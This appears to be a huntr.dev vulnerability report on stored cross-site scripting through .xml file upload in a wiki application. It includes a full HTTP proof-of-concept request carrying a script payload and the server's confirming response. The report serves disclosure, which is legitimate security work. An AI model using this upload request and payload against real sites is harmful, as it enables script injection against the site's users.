Lucene search

K
huntrNhienit2010F0B58B78-8ACF-4257-9D4C-76138F5D5019
HistoryJul 27, 2022 - 8:56 a.m.

Cross-site scripting - Stored via upload ".xml" file

2022-07-2708:56:34
nhienit2010
www.huntr.dev
13
cross-site scripting
uploaded file
xml file
server security
xss
file upload
content security policy

Description

In file upload function, the server allow upload .xml file with contain some javascript code lead to XSS.

Proof of Concept

REQUEST

POST /?PageTitre/ajaxupload&qqfile=index.xml HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-File-Name: index.html
Content-Type: application/octet-stream
Content-Length: 39
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?PageTitre/edit
Cookie: wp-settings-time-1=1658856152; YesWiki-main=g6bv3567aj3la9qfeob02ni1mv
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


<script>alert(window.origin)</script>

RESPONSE

HTTP/1.1 200 OK
Date: Wed, 27 Jul 2022 08:49:10 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: PHP/7.4.29
X-frame-Options: deny
Content-Security-Policy: frame-ancestors 'none';
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: YesWiki-main=g6bv3567aj3la9qfeob02ni1mv; path=/; HttpOnly
Set-Cookie: name=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Set-Cookie: password=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Set-Cookie: remember=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Content-Length: 133
Connection: close
Content-Type: text/html; charset=UTF-8

{"success":"1","filename":"files\/PageTitre_index_20220727154155_20220727104911.xml_","simplefilename":"index.xml","extension":"xml"}

PoC Image

image